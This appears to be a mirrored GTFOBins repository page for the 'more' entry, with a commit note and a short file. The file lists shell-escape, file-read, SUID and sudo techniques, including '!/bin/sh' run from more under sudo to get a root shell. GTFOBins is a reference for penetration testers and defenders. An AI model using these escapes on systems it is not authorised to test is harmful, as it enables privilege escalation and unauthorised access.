1
0
mirror of https://github.com/GTFOBins/GTFOBins.github.io.git synced 2024-09-16 17:01:38 +02:00
GTFOBins.github.io/_gtfobins/more.md
Aj Dumanhug fbd887e91a
Remove -E option of sudo for more
Note added by @cyrus-and: this only works because `sudo` preserves `TERM` nevertheless (unless explicitly blacklisted).
2020-06-10 22:48:48 +02:00

16 lines
250 B
Markdown

---
functions:
shell:
- code: |
TERM= more /etc/profile
!/bin/sh
file-read:
- code: more file_to_read
suid:
- code: ./more file_to_read
sudo:
- code: |
TERM= sudo more /etc/profile
!/bin/sh
---